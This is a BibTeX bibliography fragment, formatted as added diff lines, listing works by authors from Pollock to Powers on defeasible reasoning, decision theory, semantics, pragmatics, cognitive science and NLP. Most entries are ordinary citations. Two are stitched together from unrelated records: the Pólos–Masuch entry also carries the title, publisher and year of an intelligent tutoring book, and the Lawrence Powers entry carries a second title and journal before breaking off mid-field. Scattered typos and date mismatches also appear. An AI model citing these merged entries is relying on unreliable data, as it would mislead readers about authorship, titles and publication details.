+@article{ pollock:1984b, + author = {John L. Pollock}, + title = {How Do You Maximize Expectation Value?}, + journal = {No\^us}, + volume = {17}, + year = {1984}, + pages = {409--421}, + topic = {utility;foundations-of-decision-theory;} + } + +@article{ pollock:1987a, + author = {John L. Pollock}, + title = {Defeasible Reasoning}, + journal = {Cognitive Science}, + year = {1987}, + volume = {11}, + pages = {481--518}, + missinginfo = {number}, + topic = {nonmonotonic-reasoning;} + } + +@incollection{ pollock:1988a, + author = {John L. Pollock}, + title = {The Building of {O}scar}, + booktitle = {Philosophical Perspectives, Vol. 2: Epistemology}, + publisher = {Blackwell Publishers}, + year = {1988}, + editor = {James E. Tomberlin}, + pages = {315--344}, + address = {Oxford}, + topic = {cognitive-architectures;practical-reasoning;} + } + +@book{ pollock:1990a, + author = {John L. Pollock}, + title = {Technical Methods in Philosophy}, + publisher = {Westview Press}, + year = {1990}, + address = {Boulder, Colorado}, + ISBN = {0813378710}, + topic = {philosophical-logic;} + } + +@techreport{ pollock:1991a, + author = {John L. Pollock}, + title = {The Phylogeny of Rationality}, + institution = {Philosophy Department, University of Arizona}, + year = {1991}, + address = {Tucson, Arizona}, + missinginfo = {number}, + topic = {rationality;rational-action;} + } + +@techreport{ pollock:1991b, + author = {John L. Pollock}, + title = {New Foundations for Practical Reasoning}, + institution = {Philosophy Department, University of Arizona}, + year = {1991}, + address = {Tucson, Arizona}, + missinginfo = {number}, + topic = {practical-reasoning;decision-theoretic-reasoning;} + } + +@incollection{ pollock:1991c, + author = {John L. Pollock}, + title = {{OSCAR}: A General Theory of Rationality}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {189--213}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-architectures;practical-reasoning;} + } + +@article{ pollock:1992a, + author = {John L. Pollock}, + title = {New Foundations for Practical Reasoning}, + journal = {Minds and Machines}, + year = {1992}, + volume = {2}, + pages = {113--144}, + missinginfo = {number}, + topic = {practical-reasoning;decision-theoretic-planning;} + } + +@article{ pollock:1992b, + author = {John L. Pollock}, + title = {How to Reason Defeasibly}, + journal = {Artificial Intelligence}, + volume = {57}, + year = {1992}, + pages = {1--42}, + missinginfo = {number}, + topic = {nonmonotonic-reasoning;} + } + +@article{ pollock:1994a, + author = {John L. Pollock}, + title = {Justification and Defeat}, + journal = {Artificial Intelligence}, + volume = {67}, + year = {1994}, + pages = {377--407}, + topic = {nonmonotonic-reasoning;argument-based-defeasible-reasoning;} + } + +@book{ pollock:1995a, + author = {John L. Pollock}, + title = {Cognitive Carpentry: A Manual for How to Build + a Person}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + ISBN = {0262161524}, + topic = {foundations-of-AI;foundations-of-cognitive-science;} + } + +@article{ pollock:1997a, + author = {John L. Pollock}, + title = {Reasoning about Change and Persistence: A Solution to + the Frame Problem}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {2}, + pages = {143--169}, + topic = {frame-problem;krcourse;} + } + +@article{ pollock:1998a, + author = {John L. Pollock}, + title = {The Logical Foundations of Goal-Regression Planning + in Autonomous Agents}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {2}, + pages = {267--334}, + topic = {planning;foundations-of-planning;frame-problem;} + } + +@book{ pollock_jl:1989a, + author = {John L. Pollock}, + title = {How to Build a Person: A Prolegomenon}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + ISBN = {0262161133}, + xref = {Review: smoliar:1991a.}, + topic = {foundations-of-AI;foundations-of-cognitive-science; + philosophy-AI;} + } + +@article{ pollock_jl:2001a, + author = {John L. Pollock}, + title = {Evaluative Cognition}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {3}, + pages = {325--364}, + topic = {practical-reasoning;agent-architectures;qdt;} + } + +@book{ polos-masuch:1995a, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + title = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + contentnote = {TC: + J. Bell, Pragmatic Reasoning, A Model-Based Theory. + J. van Eijk and Nissim Francez, Verb-Phrase Ellipsis in + Dynamic Semantics + O. Gasquet, Optimization of Deduction for Multi-Modal Logics. + F. Kamaradine, Are Types Needed for Natural Language? + I. Lewin, Indexical Dynamics. + L. Maksimova, Implicit and Explicit Definability in Modal and + Temporal Logics. + L. Moss and D. Johnson, Evolving Algebras and Mathematical + Models of Language. + L. Polos and M. Masuch, Information States in Situation Theory. + K. Schultz and D. Gabbay, Logic Finite Automata. + J. Seligman and A. ter Meulen, Dynamic Aspect Trees. + K. Stenning, Logic as a Foundation for a Cognitive Theory of + Modality Assignment. + Y. Venema, Meeting a Modality? Restricted Permutation for + the Lambek Calculus. + C. Vermeulen, Update Semantics for Propositional Texts. + } , + title = {Foundations of Intelligent Tutoring Systems}, + publisher = {Lawrence Erlbaum Associates}, + year = {1988}, + address = {Hillsdale, New Jersey}, + ISBN = {0805800530}, + topic = {intelligent-tutoring;} + } + +@phdthesis{ pomerantz:1975a, + author = {A. Pomerantz}, + title = {Second Assessments: A Study of Some Features of + Agreements/Disagreements}, + school = {University of California at Irvine}, + year = {1975}, + type = {Ph.{D}. Dissertation}, + address = {Irvine, California}, + missinginfo = {A's 1st name}, + topic = {conversation-analysis;} + } + +@incollection{ pomerantz:1978a, + author = {A. Pomerantz}, + title = {Compliment Responses: Notes on the Co-Operation of + Multiple Constraints}, + booktitle = {Studies in the Organization of Conversational Interaction}, + publisher = {Academic Press}, + year = {1978}, + editor = {A. Schenkein}, + pages = {79--112}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {conversation-analysis;} + } + +@incollection{ pomerantz:1984a, + author = {A. Pomerantz}, + title = {Agreeing and Disagreeing With Assessments: Some Features + of Preferred/Dispreferred Turn Shapes}, + booktitle = {Structures of Social Action}, + publisher = {Cambridge University Press}, + year = {1984}, + editor = {J.M. Atkinson and J. Heritage}, + address = {Cambridge}, + missinginfo = {A's 1st name, pages, date is a guess.}, + topic = {conversation-analysis;} + } + +@incollection{ pomerol-brezillon:1999a, + author = {Jean-Charles Pomerol and Patrick Brezillon}, + title = {Dynamics between Contextual Knowledge and Proceduralized + Context}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {284--295}, + address = {Berlin}, + topic = {context;advice-giving-systems;} + } + +@incollection{ pomerol-brezillon:2001a, + author = {Jean-Charles Pomerol and Patrick Brezillon}, + title = {About Some Relationships between Knowledge and Context}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {461--464}, + address = {Berlin}, + topic = {context;knowledge;} + } + +@incollection{ pontet:1991a, + author = {T. Pontet}, + title = {A Constraint-Based Approach to Uncertain and Imprecise + Reasoning: Application to Expert Systems}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {277--281}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;expert-systems;} + } + +@unpublished{ poole:1984a, + author = {David L. Poole}, + title = {On the Comparison of Theories: Preferring the Most Specific + Explanation}, + year = {1984}, + note = {Unpublished manuscript.}, + topic = {nonmonotonic-reasoning;} + } + +@article{ poole:1987a, + author = {David Poole}, + title = {The Use of Logic}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {205--206}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ poole-etal:1987a, + author = {David Poole and Randy Goebel and Romas Aleliunas}, + title = {Theorist: A Logical Reasoning System for Defaults + and Diagnosis}, + booktitle = {The Knowledge Frontier}, + publisher = {Springer-Verlag}, + year = {1987}, + editor = {Nick Cercone and Gordon McCalla}, + pages = {331--352}, + address = {Berlin}, + topic = {logic-programming;abduction;explanation;} + } + +@article{ poole:1988a, + author = {David Poole}, + title = {A Logical Framework for Default Reasoning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {1}, + pages = {27--47}, + topic = {nonmonotonic-logic;} + } + +@book{ poole-etal:1988a, + author = {David Poole and Alan Mackworth and Randy Goebel}, + title = {Computational Intelligence: A Logical Approach}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + ISBN = {0-195-102703}, + xref = {Review: duboulay:2001a}, + topic = {AI-intro;} + } + +@article{ poole:1989a, + author = {David Poole}, + title = {Explanation and Prediction: An Architecture for Default + and Abductive Reasoning}, + journal = {Computational Intelligence}, + year = {1989}, + volume = {5}, + number = {2}, + pages = {97--110}, + topic = {abduction;default-reasoning;} + } + +@incollection{ poole:1989b, + author = {David Poole}, + title = {What the Lottery Paradox Tells Us about Default Reasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {333--341}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-logic;lottery-paradox;kr-course;} + } + +@inproceedings{ poole:1991a, + author = {David Poole}, + title = {Representing Diagnostic Knowledge for Probabilistic Horn + Abduction}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara J. Grosz and John Mylopoulos}, + pages = {1129--1135}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {abduction;} + } + +@article{ poole:1991b, + author = {David Poole}, + title = {The Effect of Knowledge on Belief: Conditioning, + Specificity and the Lottery Paradox in Default Reasoning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {281--307}, + topic = {nonmonotonic-reasoning;conditioning-methods;lottery-paradox;} + } + +@inproceedings{ poole:1993b, + author = {David Poole}, + title = {Decision Theoretic Defaults}, + booktitle = {Proceedings of the Eighth Conference on Uncertainty in + Artificial Intelligence}, + year = {1993}, + pages = {190--197}, + missinginfo = {editor,publisher, address}, + topic = {qualitative-utility;nonmonotonic-reasoning;} + } + +@article{ poole:1993c, + author = {David Poole}, + title = {Probabilistic {H}orn Abduction and {B}ayesian Networks}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {1}, + pages = {81--129}, + acontentnote = {Abstract: + This paper presents a simple framework for Horn-clause + abduction, with probabilities associated with hypotheses. The + framework incorporates assumptions about the rule base and + independence assumptions amongst hypotheses. It is shown how any + probabilistic knowledge representable in a discrete Bayesian + belief network can be represented in this framework. The main + contribution is in finding a relationship between logical and + probabilistic notions of evidential reasoning. This provides a + useful representation language in its own right, providing a + compromise between heuristic and epistemic adequacy. It also + shows how Bayesian networks can be extended beyond a + propositional language. This paper also shows how a language + with only (unconditionally) independent hypotheses can represent + any probabilistic knowledge, and argues that it is better to + invent new hypotheses to explain dependence rather than having + to worry about dependence in the language. + } , + topic = {abduction;Horn-clause-abduction;Bayesian-networks;} + } + +@incollection{ poole:1994a, + author = {David Poole}, + title = {Default Logic}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {189--215}, + address = {Oxford}, + topic = {default-logic;nonmonotonic-reasoning-survey;} + } + +@article{ poole:1996a, + author = {David Poole}, + title = {Probabilistic Conflicts in a Search Algorithm for + Estimating Posterior Probabilities in {B}ayesian Networks}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {69--100}, + topic = {Bayesian-networks;} + } + +@article{ poole:1997a, + author = {David Poole}, + title = {The Independent Choice Logic for Modelling Multiple Agents + Under Uncertainty}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {7--56}, + topic = {agent-modeling;reasoning-about-uncertainty; + AI-and-economics;qualitative-utility;} + } + +@book{ poole-etal:1998a, + author = {David Poole and Alan Mackworth and Randy Goebel}, + title = {Computational Intelligence: A Logical Approach}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0195102703 (cloth)}, + topic = {kr;ai-intro;} + } + +@book{ pope_en:1975a, + author = {Emily Norwood Pope}, + title = {Questions and Answers in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {interrogatives;} + } + +@article{ pope_lk-smith:1994a, + author = {Lois K. Pope and Craig A. Smith}, + title = {On the Distinct Meanings of Smiles and Frowns}, + journal = {Cognition and Emotion}, + volume = {8}, + number = {1}, + pages = {65--72}, + year = {1994}, + topic = {facial-expression;emotion;} + } + +@book{ popkorn:1994a, + author = {Sally Popkorn}, + title = {First Steps in Modal Logic}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {modal-logic;logic-intro;} + } + +@inproceedings{ pople:1973a, + author = {Harry E. {Pople, Jr.}}, + title = {On the Mechanization of Abductive Logic}, + booktitle = {Proceedings of the Third International Joint + Conference on Artificial Intelligence}, + year = {1973}, + pages = {147--152}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {editor}, + topic = {abduction;} + } + +@book{ popper:1968a, + author = {Karl R. Popper}, + title = {The Logic of Scientific Discovery}, + publisher = {Hutchinson}, + year = {1968}, + address = {London}, + edition = {Revised edition}, + contentnote = {In the 1959 edition, the discussion of p(a,b) is in New + Appendix iv, "The Formal Theory of Probability." pp. 323--348. + He motivates 2 place probabilities using symmetry, p(a,b) shld be + defined if p(b,a) is. Since he seems to have been interested in + axiom-hacking for prob perhaps his motivation was to avoid having to + put "=/= 0" conditions on many axioms. No, that is not all, because + he goes on to say that univ laws have 0 probability and you want to + condionalize on them. He refers to popper:1955a for the first + axioms for a symmetrical system. + }, + topic = {philosophy-of-science;} + } + +@article{ popplestone:1975a, + author = {A.P. Ambler and H.G. Barrow and C.M. Brown and R.M. + Burstall and R.J. Popplestone}, + title = {A Versatile System for Computer-Controlled Assembly}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {2}, + pages = {129--156}, + topic = {robotics;assembly;} + } + +@inproceedings{ poria-garigliano:1998a, + author = {Sanjay Poria and Roberto Galgliano}, + title = {Factors in Causal Explanation}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + missinginfo = {pages pages = {65--}}, + topic = {causality;explanation;} + } + +@incollection{ porn:1994a, + author = {Ingmar P\"orn}, + title = {Meaning and Intension}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {273--281}, + address = {Helsinki}, + topic = {foundations-of-semantics;philosophy-of-language;} + } + +@article{ porte:1981a, + author = {Jean Porte}, + title = {The Deducibilities of {S}5}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {4}, + pages = {409--422}, + topic = {modal-logic;} + } + +@article{ porter_bw-etal:1990a, + author = {Bruce W. Porter and Ray Bareiss and Robert C. Holte}, + title = {Concept Learning and Heuristic Classification in + Weak-Theory Domains}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {1--2}, + pages = {229--263}, + topic = {machine-learning;concept-learning;heuristic-classification;} + } + +@article{ porter_lf:1998a, + author = {Leon F. Porter}, + title = {Review of {\it Correspondence and Disquotation}, by + {M}arian {D}avid}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {105}, + number = {1}, + pages = {82--84}, + xref = {Review of david:1994a.}, + topic = {truth;disquotationalist-truth;} + } + +@inproceedings{ portner:1991a, + author = {Paul Portner}, + title = {Gerunds and Types of Events}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {189--208}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {events;nl-semantics;nominalization;} + } + +@unpublished{ portner:1993a, + author = {Paul Portner}, + title = {The Semantics of Finiteness and Mood in {E}nglish}, + year = {1993}, + note = {Unpublished manuscript, Department of Linguistics, + Georgetown University.}, + topic = {nl-semantics;nl-mood;} + } + +@article{ portner:1997a, + author = {Paul Portner}, + title = {The Semantics of Mood, Complementation, and Conversational + Force}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {2}, + pages = {167--212}, + topic = {nl-mood;speech-acts;nl-semantics;pragmatics;} + } + +@article{ portner-yabushita:1998a, + author = {Paul Portner and Katsuhiko Yabushita}, + title = {The Semantics and Pragmatics of Topic Phrases}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {2}, + pages = {117--157}, + topic = {s-topic;nl-semantics;pragmatics;context; + dynamic-semantics;} + } + +@unpublished{ poser:1994a, + author = {William Poser}, + title = {The Structural Typology of Phonological Writing}, + year = {1994}, + note = {Unpublished manuscript, Stanford University.}, + topic = {writing-systems;} + } + +@unpublished{ poser:1999a, + author = {William Poser}, + title = {A Sorting Tool and Issues in Sorting}, + year = {1999}, + note = {Unpublished manuscript.}, + topic = {sorting;computational-field-linguistics;} + } + +@incollection{ posner:1976a, + author = {Roland Posner}, + title = {Discourse as a Means to Enlightenment}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {641--660}, + address = {Dordrecht}, + topic = {argumentation;pragmatics;} + } + +@incollection{ posner:1980a, + author = {Roland Posner}, + title = {Semantics and Pragmatics of Sentence Connectives + in Natural Language}, + booktitle = {Speech Act Theory and Pragmatics}, + publisher = {D. Reidel Publishing}, + year = {1980}, + editor = {John R. Searle and Ferenc Kiefer and Manfred Bierwisch}, + pages = {169--203}, + address = {Dordrecht}, + topic = {speaker-meaning;pragmatics;implicature;} + } + +@book{ posner:1989a, + editor = {Michael L. Posner}, + title = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 0. M. Posner, "Preface". + 1. H. Simon and C. Kaplan, "Foundations of Cognitive Science". + 2. Z. Pylyshyn, "Computing in Cognitive Science". + 3. A. Newell, P. Rosenbloom, and J. Laird, "Symbolic + Architectures for Cognition". + 4. D. Rumelhart, "The Architecture of Mind: A Connectionist + Approach". + 5. T. Wasow, "Grammatical Theory". + 6. J. Barwise and J. Etchemendy, "Model-Theoretic Semantics". + 7. G. Bower and J. Clapper, "Experimental Methods in + Cognitive Science". + 8. T. Sejenowski and P. Churchland, "Brain and Cognition". + 9. S. Pinker, "Language Acquisition". + 10. A. Pollatsek and K. Rayner, "Reading". + 11. B. Grosz, M. Pollack, and C. Sidner "Discourse". + 12. P. Johnson-Laird, "Mental Models". + 13. E. Smith, "Concepts and Induction". + 14. K. Vanlehn, "Problem Solving and Cognitive Skill Acquisition". + 15. E. Hildreth and S. Ullman, "The Computational Study of Vision". + 16. A. Allport, "Visual Attention". + 17. D. Schachter, "Memory". + 18. M. Jordan and D. Rosenbaum, "Action". + 19. E. Bizzi and F. Mussa-Ivaldi, "Geometrical and Mechanical Issues + in Movement Planning and Control". + 20. R. D'Andrade, "Cultural Cognition". + 21. G. Harman, "Some Philosophical Issues in Cognitive + Science: Qualia, Intentionality, and the Mind-Body + Problem". + }, + topic = {foundations-of-cognitive-science;cognitive-science-general; + pragmatics;} + } + +@incollection{ posner:1989b, + author = {Michael I. Posner}, + title = {Preface}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + pages = {ix--xiv}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-science-survey;} + } + +@article{ post:1973a, + author = {John F. Post}, + title = {Shades of the Liar}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {3}, + pages = {370--386}, + topic = {semantic-paradoxes;} + } + +@incollection{ postal:1971a, + author = {Paul M. Postal}, + title = {On the Surface Verb `Remind'}, + booktitle = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + pages = {180--270}, + address = {New York}, + topic = {generative-semantics;} + } + +@incollection{ postal:1972a, + author = {Paul M. Postal}, + title = {The Best Theory}, + booktitle = {Goals of Linguistic Theory}, + publisher = {Prentice-Hall, Inc.}, + year = {1972}, + editor = {Stanley Peters}, + pages = {131--170}, + address = {Englewood Cliffs, New Jersey}, + topic = {transformational-grammar;philosophy-of-linguistics;} + } + +@article{ postow:1977a, + author = {B. C. Postow}, + title = {Generalized Act Utilitarianism}, + journal = {Analysis}, + volume = {37}, + year = {1977}, + pages = {49--52}, + topic = {utilitatianism;} + } + +@article{ posy:1975a, + author = {Carl F. Posy}, + title = {Varieties of Indeterminacy in the Theory of General + Choice Sequences}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {5}, + number = {1}, + pages = {91--132}, + topic = {intuitionistic-mathematics;choice-sequences;} + } + +@article{ posy:1977a, + author = {Carl Posy}, + title = {The Theory of Empirical Sequences}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {1}, + pages = {47--81}, + topic = {intuitionistic-logic;intuitionistic-mathematics;choice-sequences;} + } + +@book{ potter:1996a, + author = {Jonathan Potter}, + title = {Representing Reality}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + topic = {discourse;postmodernism;pragmatics;} + } + +@article{ pottinger:1978a, + author = {Garrel Pottinger}, + title = {A New Classical Relevance Logic}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {8}, + number = {1}, + pages = {135--147}, + topic = {relevance-logic;} + } + +@book{ potts:1994a, + author = {Timothy C. Potts}, + title = {Structures and Categories for the Representation of Meaning}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {nl-semantics;} + } + +@book{ powell_ta:1998a, + author = {Thomas A. Powell}, + title = {Web Site Engineering: Beyond Web Page Design}, + publisher = {Prentice Hall}, + year = {1998}, + address = {Upper Saddle River, New Jersey}, + ISBN = {0136509207}, + topic = {internet-technology;} + } + +@article{ power:1979a, + author = {Richard Power}, + title = {The Organization of Purposeful Dialogues}, + journal = {Linguistics}, + year = {1979}, + volume = {17}, + pages = {107--152}, + missinginfo = {number}, + topic = {conversation-analysis;discourse;pragmatics;} + } + +@unpublished{ powers:1966a, + author = {Larry Powers}, + title = {Existentialist Themes}, + year = {1966}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a Guess.}, + topic = {existentialism;} + } + +@book{ powers_dmw-turk:1989a, + author = {David M.W. Powers and Christopher C.R. Turk}, + title = {Machine Learning of Natural Language}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + topic = {machine-learning;computational-linguistics;} + } + +@incollection{ powers_dmw:1998a, + author = {David M.W. Powers}, + title = {Learning and Application of Differential Grammars}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {88--96}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;grammar-learning;} + } + +@incollection{ powers_dmw:1998b, + author = {David M.W. Powers}, + title = {Applications and Explanations of {Z}ipf's Law}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {151--160}, + address = {Somerset, New Jersey}, + topic = {Zipf's-law;} + } + +@book{ powers_dmw:1998c, + editor = {David M.W. Powers}, + title = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Walter Daelemans, "Abstraction is Harmful in Language + Learning", pp. 1--2 + 2. Michael Towsey and Joachim Diederich and Ingo Schellhammer + and Stephan Chalup and Claudia Brugman, "Natural + Language Learning by Recurrent Neural Networks: A + Comparison with Probabilistic Approaches", 3--10 + 3. Sandra K\"ubner, "Learning a Lexiclized Grammar for + {G}erman", pp. 11--18 + 4. Ren\'e Schneider, "A Lexically-Intensive Algorithm for + Domain-Specific Knowledge Acquisition", pp. 19--28 + 5. Andr\'e Kempe, "Look-Back and Look-Ahead in the Conversion + of Hidden {M}arkov Models into Finite State + Transducers", pp. 29--38 + 6. Mark Johnson, "The Effect of Alternative Tree Representations + on Tree Bank Grammars", pp. 39--48 + 7. Thorsten Brants and Wojciech Skut, "Automation of Treebank + Annotation", pp. 49--58 + 8. Hamish Cunningham and Mark Stevenson and Yorick + Wilks, "Implementing a Sense Tagger in a General + Architecture for Text Engineering", pp. 59--72 + 9. Ingo Schellhammer and Joachim Dieterich and Michael Towsey + and Claudia Brugman, "Knowledge Extraction and + Recurrent Neural Networks: An Analysis of an {E}lman + Network Trained on a Natural Language Learning + Task", pp. 73--78 + 10. Jason L. Hutchens and Michael D. Alder, "Finding Structure + via Compression", pp. 79--82 + 11. Christer Samuelson, "Linguistic Theory in Statistical + Language Learning", pp. 83--90 + 12. Richard McConachy and Kevin B. Korb and Ingrid + Zuckerman, "A {B}ayesian Approach to Automating + Argumentation", pp. 91--100 + 13. Stephen J. Green, "Automatically Generating Hypertext in + Newspaper Articles by Computing Semantic + Relatedness", pp. 101--110 + 14. Emin Erkin Korkmaz and G\"okt|"urk \"U\c{c}oluk, "Choosing a + Distance Metric for Automatic Word + Categorization", pp. 111--120 + 15. Patrick Saint-Dizier, "Sense Variation and Lexical Semantics +` Generative Operations", pp. 121--130 + 16. Harold Summers, "An Attempt to Use Weighted Cusums to + Identify Sublanguages", pp. 131--140 + 17. Patrick Juola, "Cross-Entropy and Linguistic Typology", pp. 141--150 + 18. David M.W. Powers, "Applications and Explanations of {Z}ipf's + Law", pp. 151--160 + 19. Peter Wallis and Edmund Yuen and Greg Chase, "Proper Name + Classification in an Information Extraction + Toolset", pp. 161--162 + 20. Robert Steele and David M.W. Powers, "Evolution and Evaluation + of Document Retrieval Queries", pp. 163--164 + 21. Ilyas Cicekli and Turgay Korkmaz, "Generation of Simple {T}urkish + Sentences with Systemic-Functional Grammar", pp. 165--174 + 22. Ian Thomas and Ingrid Zukerman and Bhavani Raskutti, "Extracting + Phoneme Pronunciation Information from Corpora", pp. 175--184 + 23. Antal van den Bosch and Walter Daelemans, "Modularity in + Inductively-Learned Word Pronunciation Systems", pp. 185--194 + 24. Antal van den Bosch and Walter Daelemans, "Do Not Forget: + Full Memory in Memory-Based Learning of Word + Pronunciation", pp. 195--204 + 25. V. Kamphuis and J.J. Sarbo, "Natural Language Concept + Analysis", pp. 205--214 + 26. Jim Entwisle and David M.W. Powers, "The Present Use of + Statistics in the Evaluation of {NLP} + Parsers", pp. 215--224 + 27. Hiroki Imai and Hosumi Tanaka, "A Method of Incorporating + Bigram Constraints into an {LR} Table and Its + Effectiveness in Natural Language Processing", pp. 225--234 + 28. James M. Hogan and Joachim Diederich and Gerald D. + Finn, "Selective Attention and the Acquisition of + Spatial Semantics", pp. 235--244 + 29. Hideki Kozima and Akira Ito, "Towards Language Acquisition by an + Attention-Sharing Robot", pp. 245--246 + 30. Michael Carl, "A Constructivist Approach to Machine + Translation", pp. 247--256 + 31. Michael Carl and Antje Schmidt-Wigger, "Shallow Post Morphological + Processing with {KURD}", pp. 257--266 + 32. Erika F. de Lima, "Induction of a Stem Lexicon for Two-Level + Morphological Analysis", pp. 267--268 + 33. Jason L. Hutchens and Michael D. Alder, "Introducing + {M}ega{H}al", pp. 271--274 + 34. V\'erinique Bastin and Denis Cordier, "The Total {T}uring Test + and the {L}oebner Prize", pp. 279--280 + 35. David M.W. Powers, "The Total {T}uring Test and the + {L}oebner Prize", pp. 279--280 + 36. Zenshiro Kawasaki and Keiji Takida and Masato Tajima, "Language + Model and Sentence Structure Manipulations for + Natural Language Applications Systems", pp. 281--286 + 37. Bradley B. Custer, "Position Paper on Appropriate + Audio/Visual {T}uring Test", pp. 287-- + 38. Tony C. Smith, "Learning Feature-Value Grammars from Plain + Text", pp. 291--294 + 39. Herv\'e D\'ejean, "Morphemes as Necessary Concept for Structures + Discovery from Untagged Corpora", pp. 295--298 + 40. Christopher D. Manning, "The Segmentation Problem in Morphology + Learning", pp. 299--306 + 41. David M.W. Powers, "Reconciliation of Unsupervised Clustering, + Segmentation, and Cohesion", pp. 307--310 + 42. Isabelle, Tellier, "Syntactico-Semantic Learning of Categorical + Grammars", pp. 311--314 } , + topic = {nl-processing;machine-learning;grammar-learning;} + } + +@article{ powers_l:1967a, + author = {Lawrence Powers}, + title = {Some Deontic Logicians}, + journal = {No\^{u}s}, + year = {1967}, + volume = {1}, + number = {4}, + pages = {381--400}, + title = {Depth-First Heuristic Search on a {SIMD} Machine}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = 